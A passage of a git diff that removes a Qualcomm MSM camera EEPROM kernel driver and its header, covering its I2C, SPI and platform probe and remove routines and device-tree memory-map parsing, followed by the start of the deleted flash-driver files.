= emap[j].saddr.addr; - e_ctrl->i2c_client.cci_client->sid = - eb_info->i2c_slaveaddr >> 1; - pr_err("qcom,slave-addr = 0x%X\n", - eb_info->i2c_slaveaddr); - } - - if (emap[j].page.valid_size) { - e_ctrl->i2c_client.addr_type = emap[j].page.addr_t; - rc = e_ctrl->i2c_client.i2c_func_tbl->i2c_write( - &(e_ctrl->i2c_client), emap[j].page.addr, - emap[j].page.data, emap[j].page.data_t); - msleep(emap[j].page.delay); - if (rc < 0) { - pr_err("%s: page write failed\n", __func__); - return rc; - } - } - if (emap[j].pageen.valid_size) { - e_ctrl->i2c_client.addr_type = emap[j].pageen.addr_t; - rc = e_ctrl->i2c_client.i2c_func_tbl->i2c_write( - &(e_ctrl->i2c_client), emap[j].pageen.addr, - emap[j].pageen.data, emap[j].pageen.data_t); - msleep(emap[j].pageen.delay); - if (rc < 0) { - pr_err("%s: page enable failed\n", __func__); - return rc; - } - } - if (emap[j].poll.valid_size) { - e_ctrl->i2c_client.addr_type = emap[j].poll.addr_t; - rc = e_ctrl->i2c_client.i2c_func_tbl->i2c_poll( - &(e_ctrl->i2c_client), emap[j].poll.addr, - emap[j].poll.data, emap[j].poll.data_t); - msleep(emap[j].poll.delay); - if (rc < 0) { - pr_err("%s: poll failed\n", __func__); - return rc; - } - } - - if (emap[j].mem.valid_size) { - e_ctrl->i2c_client.addr_type = emap[j].mem.addr_t; - rc = e_ctrl->i2c_client.i2c_func_tbl->i2c_read_seq( - &(e_ctrl->i2c_client), emap[j].mem.addr, - memptr, emap[j].mem.valid_size); - if (rc < 0) { - pr_err("%s: read failed\n", __func__); - return rc; - } - memptr += emap[j].mem.valid_size; - } - if (emap[j].pageen.valid_size) { - e_ctrl->i2c_client.addr_type = emap[j].pageen.addr_t; - rc = e_ctrl->i2c_client.i2c_func_tbl->i2c_write( - &(e_ctrl->i2c_client), emap[j].pageen.addr, - 0, emap[j].pageen.data_t); - if (rc < 0) { - pr_err("%s: page disable failed\n", __func__); - return rc; - } - } - } - return rc; -} -/** - * msm_eeprom_parse_memory_map() - parse memory map in device node - * @of: device node - * @data: memory block for output - * - * This functions parses @of to fill @data. It allocates map itself, parses - * the @of node, calculate total data length, and allocates required buffer. - * It only fills the map, but does not perform actual reading. - */ -static int msm_eeprom_parse_memory_map(struct device_node *of, - struct msm_eeprom_memory_block_t *data) -{ - int i, rc = 0; - char property[PROPERTY_MAXSIZE]; - uint32_t count = 6; - struct msm_eeprom_memory_map_t *map; - - snprintf(property, PROPERTY_MAXSIZE, "qcom,num-blocks"); - rc = of_property_read_u32(of, property, &data->num_map); - CDBG("%s: %s %d\n", __func__, property, data->num_map); - if (rc < 0) { - pr_err("%s failed rc %d\n", __func__, rc); - return rc; - } - - map = kzalloc((sizeof(*map) * data->num_map), GFP_KERNEL); - if (!map) { - pr_err("%s failed line %d\n", __func__, __LINE__); - return -ENOMEM; - } - data->map = map; - - for (i = 0; i < data->num_map; i++) { - snprintf(property, PROPERTY_MAXSIZE, "qcom,page%d", i); - rc = of_property_read_u32_array(of, property, - (uint32_t *) &map[i].page, count); - if (rc < 0) { - pr_err("%s: failed %d\n", __func__, __LINE__); - goto ERROR; - } - - snprintf(property, PROPERTY_MAXSIZE, - "qcom,pageen%d", i); - rc = of_property_read_u32_array(of, property, - (uint32_t *) &map[i].pageen, count); - if (rc < 0) - pr_err("%s: pageen not needed\n", __func__); - - snprintf(property, PROPERTY_MAXSIZE, "qcom,saddr%d", i); - rc = of_property_read_u32_array(of, property, - (uint32_t *) &map[i].saddr.addr, 1); - if (rc < 0) - CDBG("%s: saddr not needed - block %d\n", __func__, i); - - snprintf(property, PROPERTY_MAXSIZE, "qcom,poll%d", i); - rc = of_property_read_u32_array(of, property, - (uint32_t *) &map[i].poll, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR; - } - - snprintf(property, PROPERTY_MAXSIZE, "qcom,mem%d", i); - rc = of_property_read_u32_array(of, property, - (uint32_t *) &map[i].mem, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR; - } - data->num_data += map[i].mem.valid_size; - } - - CDBG("%s num_bytes %d\n", __func__, data->num_data); - - data->mapdata = kzalloc(data->num_data, GFP_KERNEL); - if (!data->mapdata) { - pr_err("%s failed line %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR; - } - return rc; - -ERROR: - kfree(data->map); - memset(data, 0, sizeof(*data)); - return rc; -} - -static struct msm_cam_clk_info cam_8960_clk_info[] = { - [SENSOR_CAM_MCLK] = {"cam_clk", 24000000}, -}; - -static struct msm_cam_clk_info cam_8974_clk_info[] = { - [SENSOR_CAM_MCLK] = {"cam_src_clk", 19200000}, - [SENSOR_CAM_CLK] = {"cam_clk", 0}, -}; - -static struct v4l2_subdev_core_ops msm_eeprom_subdev_core_ops = { - .ioctl = msm_eeprom_subdev_ioctl, -}; - -static struct v4l2_subdev_ops msm_eeprom_subdev_ops = { - .core = &msm_eeprom_subdev_core_ops, -}; - -static int msm_eeprom_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - int rc = 0; - struct msm_eeprom_ctrl_t *e_ctrl = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - CDBG("%s E\n", __func__); - - if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { - pr_err("%s i2c_check_functionality failed\n", __func__); - goto probe_failure; - } - - e_ctrl = kzalloc(sizeof(*e_ctrl), GFP_KERNEL); - if (!e_ctrl) { - pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); - return -ENOMEM; - } - e_ctrl->eeprom_v4l2_subdev_ops = &msm_eeprom_subdev_ops; - e_ctrl->eeprom_mutex = &msm_eeprom_mutex; - CDBG("%s client = 0x%p\n", __func__, client); - e_ctrl->eboard_info = (struct msm_eeprom_board_info *)(id->driver_data); - if (!e_ctrl->eboard_info) { - pr_err("%s:%d board info NULL\n", __func__, __LINE__); - rc = -EINVAL; - goto ectrl_free; - } - power_info = &e_ctrl->eboard_info->power_info; - e_ctrl->i2c_client.client = client; - - /* Set device type as I2C */ - e_ctrl->eeprom_device_type = MSM_CAMERA_I2C_DEVICE; - e_ctrl->i2c_client.i2c_func_tbl = &msm_eeprom_qup_func_tbl; - - if (e_ctrl->eboard_info->i2c_slaveaddr != 0) - e_ctrl->i2c_client.client->addr = - e_ctrl->eboard_info->i2c_slaveaddr; - power_info->clk_info = cam_8960_clk_info; - power_info->clk_info_size = ARRAY_SIZE(cam_8960_clk_info); - power_info->dev = &client->dev; - - /*IMPLEMENT READING PART*/ - /* Initialize sub device */ - v4l2_i2c_subdev_init(&e_ctrl->msm_sd.sd, - e_ctrl->i2c_client.client, - e_ctrl->eeprom_v4l2_subdev_ops); - v4l2_set_subdevdata(&e_ctrl->msm_sd.sd, e_ctrl); - e_ctrl->msm_sd.sd.internal_ops = &msm_eeprom_internal_ops; - e_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - media_entity_init(&e_ctrl->msm_sd.sd.entity, 0, NULL, 0); - e_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - e_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_EEPROM; - msm_sd_register(&e_ctrl->msm_sd); - CDBG("%s success result=%d X\n", __func__, rc); - return rc; - -ectrl_free: - kfree(e_ctrl); -probe_failure: - pr_err("%s failed! rc = %d\n", __func__, rc); - return rc; -} - -static int msm_eeprom_i2c_remove(struct i2c_client *client) -{ - struct v4l2_subdev *sd = i2c_get_clientdata(client); - struct msm_eeprom_ctrl_t *e_ctrl; - if (!sd) { - pr_err("%s: Subdevice is NULL\n", __func__); - return 0; - } - - e_ctrl = (struct msm_eeprom_ctrl_t *)v4l2_get_subdevdata(sd); - if (!e_ctrl) { - pr_err("%s: eeprom device is NULL\n", __func__); - return 0; - } - - kfree(e_ctrl->cal_data.mapdata); - kfree(e_ctrl->cal_data.map); - if (e_ctrl->eboard_info) { - kfree(e_ctrl->eboard_info->power_info.gpio_conf); - kfree(e_ctrl->eboard_info); - } - kfree(e_ctrl); - return 0; -} - -#define msm_eeprom_spi_parse_cmd(spic, str, name, out, size) \ - { \ - if (of_property_read_u32_array( \ - spic->spi_master->dev.of_node, \ - str, out, size)) { \ - return -EFAULT; \ - } else { \ - spic->cmd_tbl.name.opcode = out[0]; \ - spic->cmd_tbl.name.addr_len = out[1]; \ - spic->cmd_tbl.name.dummy_len = out[2]; \ - } \ - } - -static int msm_eeprom_spi_parse_of(struct msm_camera_spi_client *spic) -{ - int rc = -EFAULT; - uint32_t tmp[3]; - msm_eeprom_spi_parse_cmd(spic, "qcom,spiop,read", read, tmp, 3); - msm_eeprom_spi_parse_cmd(spic, "qcom,spiop,readseq", read_seq, tmp, 3); - msm_eeprom_spi_parse_cmd(spic, "qcom,spiop,queryid", query_id, tmp, 3); - - rc = of_property_read_u32_array(spic->spi_master->dev.of_node, - "qcom,eeprom-id", tmp, 2); - if (rc) { - pr_err("%s: Failed to get eeprom id\n", __func__); - return rc; - } - spic->mfr_id = tmp[0]; - spic->device_id = tmp[1]; - - return 0; -} - -static int msm_eeprom_match_id(struct msm_eeprom_ctrl_t *e_ctrl) -{ - int rc; - struct msm_camera_i2c_client *client = &e_ctrl->i2c_client; - uint8_t id[2]; - - rc = msm_camera_spi_query_id(client, 0, &id[0], 2); - if (rc < 0) - return rc; - CDBG("%s: read 0x%x 0x%x, check 0x%x 0x%x\n", __func__, id[0], - id[1], client->spi_client->mfr_id, client->spi_client->device_id); - if (id[0] != client->spi_client->mfr_id - || id[1] != client->spi_client->device_id) - return -ENODEV; - - return 0; -} - -static int msm_eeprom_get_dt_data(struct msm_eeprom_ctrl_t *e_ctrl) -{ - int rc = 0, i = 0; - struct msm_eeprom_board_info *eb_info; - struct msm_camera_power_ctrl_t *power_info = - &e_ctrl->eboard_info->power_info; - struct device_node *of_node = NULL; - struct msm_camera_gpio_conf *gconf = NULL; - uint16_t gpio_array_size = 0; - uint16_t *gpio_array = NULL; - - eb_info = e_ctrl->eboard_info; - if (e_ctrl->eeprom_device_type == MSM_CAMERA_SPI_DEVICE) - of_node = e_ctrl->i2c_client. - spi_client->spi_master->dev.of_node; - else if (e_ctrl->eeprom_device_type == MSM_CAMERA_PLATFORM_DEVICE) - of_node = e_ctrl->pdev->dev.of_node; - - rc = msm_camera_get_dt_vreg_data(of_node, &power_info->cam_vreg, - &power_info->num_vreg); - if (rc < 0) - return rc; - - rc = msm_camera_get_dt_power_setting_data(of_node, - power_info->cam_vreg, power_info->num_vreg, - power_info); - if (rc < 0) - goto ERROR1; - - power_info->gpio_conf = kzalloc(sizeof(struct msm_camera_gpio_conf), - GFP_KERNEL); - if (!power_info->gpio_conf) { - rc = -ENOMEM; - goto ERROR2; - } - gconf = power_info->gpio_conf; - gpio_array_size = of_gpio_count(of_node); - CDBG("%s gpio count %d\n", __func__, gpio_array_size); - - if (gpio_array_size) { - gpio_array = kzalloc(sizeof(uint16_t) * gpio_array_size, - GFP_KERNEL); - if (!gpio_array) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR3; - } - for (i = 0; i < gpio_array_size; i++) { - gpio_array[i] = of_get_gpio(of_node, i); - CDBG("%s gpio_array[%d] = %d\n", __func__, i, - gpio_array[i]); - } - - rc = msm_camera_get_dt_gpio_req_tbl(of_node, gconf, - gpio_array, gpio_array_size); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR4; - } - - rc = msm_camera_init_gpio_pin_tbl(of_node, gconf, - gpio_array, gpio_array_size); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR4; - } - kfree(gpio_array); - } - - return rc; -ERROR4: - kfree(gpio_array); -ERROR3: - kfree(power_info->gpio_conf); -ERROR2: - kfree(power_info->cam_vreg); -ERROR1: - kfree(power_info->power_setting); - return rc; -} - - -static int msm_eeprom_cmm_dts(struct msm_eeprom_board_info *eb_info, - struct device_node *of_node) -{ - int rc = 0; - struct msm_eeprom_cmm_t *cmm_data = &eb_info->cmm_data; - - cmm_data->cmm_support = - of_property_read_bool(of_node, "qcom,cmm-data-support"); - if (!cmm_data->cmm_support) - return -EINVAL; - cmm_data->cmm_compression = - of_property_read_bool(of_node, "qcom,cmm-data-compressed"); - if (!cmm_data->cmm_compression) - CDBG("No MM compression data\n"); - - rc = of_property_read_u32(of_node, "qcom,cmm-data-offset", - &cmm_data->cmm_offset); - if (rc < 0) - CDBG("No MM offset data\n"); - - rc = of_property_read_u32(of_node, "qcom,cmm-data-size", - &cmm_data->cmm_size); - if (rc < 0) - CDBG("No MM size data\n"); - - CDBG("cmm_support: cmm_compr %d, cmm_offset %d, cmm_size %d\n", - cmm_data->cmm_compression, - cmm_data->cmm_offset, - cmm_data->cmm_size); - return 0; -} - -static int msm_eeprom_spi_setup(struct spi_device *spi) -{ - struct msm_eeprom_ctrl_t *e_ctrl = NULL; - struct msm_camera_i2c_client *client = NULL; - struct msm_camera_spi_client *spi_client; - struct msm_eeprom_board_info *eb_info; - struct msm_camera_power_ctrl_t *power_info = NULL; - int rc = 0; - - e_ctrl = kzalloc(sizeof(*e_ctrl), GFP_KERNEL); - if (!e_ctrl) { - pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); - return -ENOMEM; - } - e_ctrl->eeprom_v4l2_subdev_ops = &msm_eeprom_subdev_ops; - e_ctrl->eeprom_mutex = &msm_eeprom_mutex; - client = &e_ctrl->i2c_client; - e_ctrl->is_supported = 0; - - spi_client = kzalloc(sizeof(*spi_client), GFP_KERNEL); - if (!spi_client) { - pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); - kfree(e_ctrl); - return -ENOMEM; - } - - rc = of_property_read_u32(spi->dev.of_node, "cell-index", - &e_ctrl->subdev_id); - CDBG("cell-index %d, rc %d\n", e_ctrl->subdev_id, rc); - if (rc < 0) { - pr_err("failed rc %d\n", rc); - return rc; - } - - e_ctrl->eeprom_device_type = MSM_CAMERA_SPI_DEVICE; - client->spi_client = spi_client; - spi_client->spi_master = spi; - client->i2c_func_tbl = &msm_eeprom_spi_func_tbl; - client->addr_type = MSM_CAMERA_I2C_3B_ADDR; - - eb_info = kzalloc(sizeof(*eb_info), GFP_KERNEL); - if (!eb_info) - goto spi_free; - e_ctrl->eboard_info = eb_info; - rc = of_property_read_string(spi->dev.of_node, "qcom,eeprom-name", - &eb_info->eeprom_name); - CDBG("%s qcom,eeprom-name %s, rc %d\n", __func__, - eb_info->eeprom_name, rc); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto board_free; - } - - rc = msm_eeprom_cmm_dts(e_ctrl->eboard_info, spi->dev.of_node); - if (rc < 0) - CDBG("%s MM data miss:%d\n", __func__, __LINE__); - - power_info = &eb_info->power_info; - - power_info->clk_info = cam_8974_clk_info; - power_info->clk_info_size = ARRAY_SIZE(cam_8974_clk_info); - power_info->dev = &spi->dev; - - rc = msm_eeprom_get_dt_data(e_ctrl); - if (rc < 0) - goto board_free; - - /* set spi instruction info */ - spi_client->retry_delay = 1; - spi_client->retries = 0; - - rc = msm_eeprom_spi_parse_of(spi_client); - if (rc < 0) { - dev_err(&spi->dev, - "%s: Error parsing device properties\n", __func__); - goto board_free; - } - - /* prepare memory buffer */ - rc = msm_eeprom_parse_memory_map(spi->dev.of_node, - &e_ctrl->cal_data); - if (rc < 0) - CDBG("%s: no cal memory map\n", __func__); - - /* power up eeprom for reading */ - rc = msm_camera_power_up(power_info, e_ctrl->eeprom_device_type, - &e_ctrl->i2c_client); - if (rc < 0) { - pr_err("failed rc %d\n", rc); - goto caldata_free; - } - - /* check eeprom id */ - rc = msm_eeprom_match_id(e_ctrl); - if (rc < 0) { - CDBG("%s: eeprom not matching %d\n", __func__, rc); - goto power_down; - } - /* read eeprom */ - if (e_ctrl->cal_data.map) { - rc = read_eeprom_memory(e_ctrl, &e_ctrl->cal_data); - if (rc < 0) { - pr_err("%s: read cal data failed\n", __func__); - goto power_down; - } - e_ctrl->is_supported |= msm_eeprom_match_crc( - &e_ctrl->cal_data); - } - - rc = msm_camera_power_down(power_info, e_ctrl->eeprom_device_type, - &e_ctrl->i2c_client); - if (rc < 0) { - pr_err("failed rc %d\n", rc); - goto caldata_free; - } - - /* initiazlie subdev */ - v4l2_spi_subdev_init(&e_ctrl->msm_sd.sd, - e_ctrl->i2c_client.spi_client->spi_master, - e_ctrl->eeprom_v4l2_subdev_ops); - v4l2_set_subdevdata(&e_ctrl->msm_sd.sd, e_ctrl); - e_ctrl->msm_sd.sd.internal_ops = &msm_eeprom_internal_ops; - e_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - media_entity_init(&e_ctrl->msm_sd.sd.entity, 0, NULL, 0); - e_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - e_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_EEPROM; - msm_sd_register(&e_ctrl->msm_sd); - e_ctrl->is_supported = (e_ctrl->is_supported << 1) | 1; - CDBG("%s success result=%d supported=%x X\n", __func__, rc, - e_ctrl->is_supported); - - return 0; - -power_down: - msm_camera_power_down(power_info, e_ctrl->eeprom_device_type, - &e_ctrl->i2c_client); -caldata_free: - kfree(e_ctrl->cal_data.mapdata); - kfree(e_ctrl->cal_data.map); -board_free: - kfree(e_ctrl->eboard_info); -spi_free: - kfree(spi_client); - kfree(e_ctrl); - return rc; -} - -static int msm_eeprom_spi_probe(struct spi_device *spi) -{ - int irq, cs, cpha, cpol, cs_high; - - CDBG("%s\n", __func__); - spi->bits_per_word = 8; - spi->mode = SPI_MODE_0; - spi_setup(spi); - - irq = spi->irq; - cs = spi->chip_select; - cpha = (spi->mode & SPI_CPHA) ? 1 : 0; - cpol = (spi->mode & SPI_CPOL) ? 1 : 0; - cs_high = (spi->mode & SPI_CS_HIGH) ? 1 : 0; - CDBG("%s: irq[%d] cs[%x] CPHA[%x] CPOL[%x] CS_HIGH[%x]\n", - __func__, irq, cs, cpha, cpol, cs_high); - CDBG("%s: max_speed[%u]\n", __func__, spi->max_speed_hz); - - return msm_eeprom_spi_setup(spi); -} - -static int msm_eeprom_spi_remove(struct spi_device *sdev) -{ - struct v4l2_subdev *sd = spi_get_drvdata(sdev); - struct msm_eeprom_ctrl_t *e_ctrl; - if (!sd) { - pr_err("%s: Subdevice is NULL\n", __func__); - return 0; - } - - e_ctrl = (struct msm_eeprom_ctrl_t *)v4l2_get_subdevdata(sd); - if (!e_ctrl) { - pr_err("%s: eeprom device is NULL\n", __func__); - return 0; - } - - kfree(e_ctrl->i2c_client.spi_client); - kfree(e_ctrl->cal_data.mapdata); - kfree(e_ctrl->cal_data.map); - if (e_ctrl->eboard_info) { - kfree(e_ctrl->eboard_info->power_info.gpio_conf); - kfree(e_ctrl->eboard_info); - } - kfree(e_ctrl); - return 0; -} - -static int msm_eeprom_platform_probe(struct platform_device *pdev) -{ - int rc = 0; - int j = 0; - uint32_t temp; - - struct msm_camera_cci_client *cci_client = NULL; - struct msm_eeprom_ctrl_t *e_ctrl = NULL; - struct msm_eeprom_board_info *eb_info = NULL; - struct device_node *of_node = pdev->dev.of_node; - struct msm_camera_power_ctrl_t *power_info = NULL; - - CDBG("%s E\n", __func__); - - e_ctrl = kzalloc(sizeof(*e_ctrl), GFP_KERNEL); - if (!e_ctrl) { - pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); - return -ENOMEM; - } - e_ctrl->eeprom_v4l2_subdev_ops = &msm_eeprom_subdev_ops; - e_ctrl->eeprom_mutex = &msm_eeprom_mutex; - - e_ctrl->is_supported = 0; - if (!of_node) { - pr_err("%s dev.of_node NULL\n", __func__); - return -EINVAL; - } - - rc = of_property_read_u32(of_node, "cell-index", - &pdev->id); - CDBG("cell-index %d, rc %d\n", pdev->id, rc); - if (rc < 0) { - pr_err("failed rc %d\n", rc); - return rc; - } - e_ctrl->subdev_id = pdev->id; - - rc = of_property_read_u32(of_node, "qcom,cci-master", - &e_ctrl->cci_master); - CDBG("qcom,cci-master %d, rc %d\n", e_ctrl->cci_master, rc); - if (rc < 0) { - pr_err("%s failed rc %d\n", __func__, rc); - return rc; - } - rc = of_property_read_u32(of_node, "qcom,slave-addr", - &temp); - if (rc < 0) { - pr_err("%s failed rc %d\n", __func__, rc); - return rc; - } - - /* Set platform device handle */ - e_ctrl->pdev = pdev; - /* Set device type as platform device */ - e_ctrl->eeprom_device_type = MSM_CAMERA_PLATFORM_DEVICE; - e_ctrl->i2c_client.i2c_func_tbl = &msm_eeprom_cci_func_tbl; - e_ctrl->i2c_client.cci_client = kzalloc(sizeof( - struct msm_camera_cci_client), GFP_KERNEL); - if (!e_ctrl->i2c_client.cci_client) { - pr_err("%s failed no memory\n", __func__); - return -ENOMEM; - } - - e_ctrl->eboard_info = kzalloc(sizeof( - struct msm_eeprom_board_info), GFP_KERNEL); - if (!e_ctrl->eboard_info) { - pr_err("%s failed line %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto cciclient_free; - } - eb_info = e_ctrl->eboard_info; - power_info = &eb_info->power_info; - eb_info->i2c_slaveaddr = temp; - - power_info->clk_info = cam_8974_clk_info; - power_info->clk_info_size = ARRAY_SIZE(cam_8974_clk_info); - power_info->dev = &pdev->dev; - - CDBG("qcom,slave-addr = 0x%X\n", eb_info->i2c_slaveaddr); - cci_client = e_ctrl->i2c_client.cci_client; - cci_client->cci_subdev = msm_cci_get_subdev(); - cci_client->cci_i2c_master = e_ctrl->cci_master; - cci_client->sid = eb_info->i2c_slaveaddr >> 1; - cci_client->retries = 3; - cci_client->id_map = 0; - - rc = of_property_read_string(of_node, "qcom,eeprom-name", - &eb_info->eeprom_name); - CDBG("%s qcom,eeprom-name %s, rc %d\n", __func__, - eb_info->eeprom_name, rc); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto board_free; - } - - rc = msm_eeprom_cmm_dts(e_ctrl->eboard_info, of_node); - if (rc < 0) - CDBG("%s MM data miss:%d\n", __func__, __LINE__); - - rc = msm_eeprom_get_dt_data(e_ctrl); - if (rc) - goto board_free; - - rc = msm_eeprom_parse_memory_map(of_node, &e_ctrl->cal_data); - if (rc < 0) - goto board_free; - - rc = msm_camera_power_up(power_info, e_ctrl->eeprom_device_type, - &e_ctrl->i2c_client); - if (rc) { - pr_err("failed rc %d\n", rc); - goto memdata_free; - } - rc = read_eeprom_memory(e_ctrl, &e_ctrl->cal_data); - if (rc < 0) { - pr_err("%s read_eeprom_memory failed\n", __func__); - goto power_down; - } - for (j = 0; j < e_ctrl->cal_data.num_data; j++) - CDBG("memory_data[%d] = 0x%X\n", j, - e_ctrl->cal_data.mapdata[j]); - - e_ctrl->is_supported |= msm_eeprom_match_crc(&e_ctrl->cal_data); - - rc = msm_camera_power_down(power_info, e_ctrl->eeprom_device_type, - &e_ctrl->i2c_client); - if (rc) { - pr_err("failed rc %d\n", rc); - goto memdata_free; - } - v4l2_subdev_init(&e_ctrl->msm_sd.sd, - e_ctrl->eeprom_v4l2_subdev_ops); - v4l2_set_subdevdata(&e_ctrl->msm_sd.sd, e_ctrl); - platform_set_drvdata(pdev, &e_ctrl->msm_sd.sd); - e_ctrl->msm_sd.sd.internal_ops = &msm_eeprom_internal_ops; - e_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - snprintf(e_ctrl->msm_sd.sd.name, - ARRAY_SIZE(e_ctrl->msm_sd.sd.name), "msm_eeprom"); - media_entity_init(&e_ctrl->msm_sd.sd.entity, 0, NULL, 0); - e_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - e_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_EEPROM; - msm_sd_register(&e_ctrl->msm_sd); - - e_ctrl->is_supported = (e_ctrl->is_supported << 1) | 1; - CDBG("%s X\n", __func__); - return rc; - -power_down: - msm_camera_power_down(power_info, e_ctrl->eeprom_device_type, - &e_ctrl->i2c_client); -memdata_free: - kfree(e_ctrl->cal_data.mapdata); - kfree(e_ctrl->cal_data.map); -board_free: - kfree(e_ctrl->eboard_info); -cciclient_free: - kfree(e_ctrl->i2c_client.cci_client); - kfree(e_ctrl); - return rc; -} - -static int msm_eeprom_platform_remove(struct platform_device *pdev) -{ - struct v4l2_subdev *sd = platform_get_drvdata(pdev); - struct msm_eeprom_ctrl_t *e_ctrl; - if (!sd) { - pr_err("%s: Subdevice is NULL\n", __func__); - return 0; - } - - e_ctrl = (struct msm_eeprom_ctrl_t *)v4l2_get_subdevdata(sd); - if (!e_ctrl) { - pr_err("%s: eeprom device is NULL\n", __func__); - return 0; - } - - kfree(e_ctrl->i2c_client.cci_client); - kfree(e_ctrl->cal_data.mapdata); - kfree(e_ctrl->cal_data.map); - if (e_ctrl->eboard_info) { - kfree(e_ctrl->eboard_info->power_info.gpio_conf); - kfree(e_ctrl->eboard_info); - } - kfree(e_ctrl); - return 0; -} - -static const struct of_device_id msm_eeprom_dt_match[] = { - { .compatible = "qcom,eeprom" }, - { } -}; - -MODULE_DEVICE_TABLE(of, msm_eeprom_dt_match); - -static struct platform_driver msm_eeprom_platform_driver = { - .driver = { - .name = "qcom,eeprom", - .owner = THIS_MODULE, - .of_match_table = msm_eeprom_dt_match, - }, - .remove = msm_eeprom_platform_remove, -}; - -static const struct i2c_device_id msm_eeprom_i2c_id[] = { - { "msm_eeprom", (kernel_ulong_t)NULL}, - { } -}; - -static struct i2c_driver msm_eeprom_i2c_driver = { - .id_table = msm_eeprom_i2c_id, - .probe = msm_eeprom_i2c_probe, - .remove = msm_eeprom_i2c_remove, - .driver = { - .name = "msm_eeprom", - }, -}; - -static struct spi_driver msm_eeprom_spi_driver = { - .driver = { - .name = "qcom_eeprom", - .owner = THIS_MODULE, - .of_match_table = msm_eeprom_dt_match, - }, - .probe = msm_eeprom_spi_probe, - .remove = msm_eeprom_spi_remove, -}; - -static int __init msm_eeprom_init_module(void) -{ - int rc = 0; - CDBG("%s E\n", __func__); - rc = platform_driver_probe(&msm_eeprom_platform_driver, - msm_eeprom_platform_probe); - CDBG("%s:%d platform rc %d\n", __func__, __LINE__, rc); - rc = spi_register_driver(&msm_eeprom_spi_driver); - CDBG("%s:%d spi rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&msm_eeprom_i2c_driver); -} - -static void __exit msm_eeprom_exit_module(void) -{ - platform_driver_unregister(&msm_eeprom_platform_driver); - spi_unregister_driver(&msm_eeprom_spi_driver); - i2c_del_driver(&msm_eeprom_i2c_driver); -} - -module_init(msm_eeprom_init_module); -module_exit(msm_eeprom_exit_module); -MODULE_DESCRIPTION("MSM EEPROM driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.h deleted file mode 100644 index 9a04f06ae6714..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.h +++ /dev/null @@ -1,49 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#ifndef MSM_EEPROM_H -#define MSM_EEPROM_H - -#include -#include -#include -#include -#include -#include "msm_camera_i2c.h" -#include "msm_camera_spi.h" -#include "msm_camera_io_util.h" -#include "msm_camera_dt_util.h" - -struct msm_eeprom_ctrl_t; - -#define DEFINE_MSM_MUTEX(mutexname) \ - static struct mutex mutexname = __MUTEX_INITIALIZER(mutexname) - -#define PROPERTY_MAXSIZE 32 - -struct msm_eeprom_ctrl_t { - struct platform_device *pdev; - struct mutex *eeprom_mutex; - - struct v4l2_subdev sdev; - struct v4l2_subdev_ops *eeprom_v4l2_subdev_ops; - enum msm_camera_device_type_t eeprom_device_type; - struct msm_sd_subdev msm_sd; - enum cci_i2c_master_t cci_master; - - struct msm_camera_i2c_client i2c_client; - struct msm_eeprom_memory_block_t cal_data; - uint8_t is_supported; - struct msm_eeprom_board_info *eboard_info; - uint32_t subdev_id; -}; - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile deleted file mode 100644 index 6640684054071..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile +++ /dev/null @@ -1,9 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -obj-$(CONFIG_MSMB_CAMERA) += msm_led_flash.o -obj-$(CONFIG_MSMB_CAMERA) += msm_led_trigger.o -obj-$(CONFIG_MSMB_CAMERA) += msm_led_i2c_trigger.o -obj-$(CONFIG_MSMB_CAMERA) += adp1660.o -obj-$(CONFIG_MSMB_CAMERA) += bd7710.o -obj-$(CONFIG_MSMB_CAMERA) += msm_led_torch.o -obj-$(CONFIG_MSMB_CAMERA) += lm3642.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/adp1660.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/adp1660.c deleted file mode 100644 index f57843c6ff2a0..0000000000000 --- 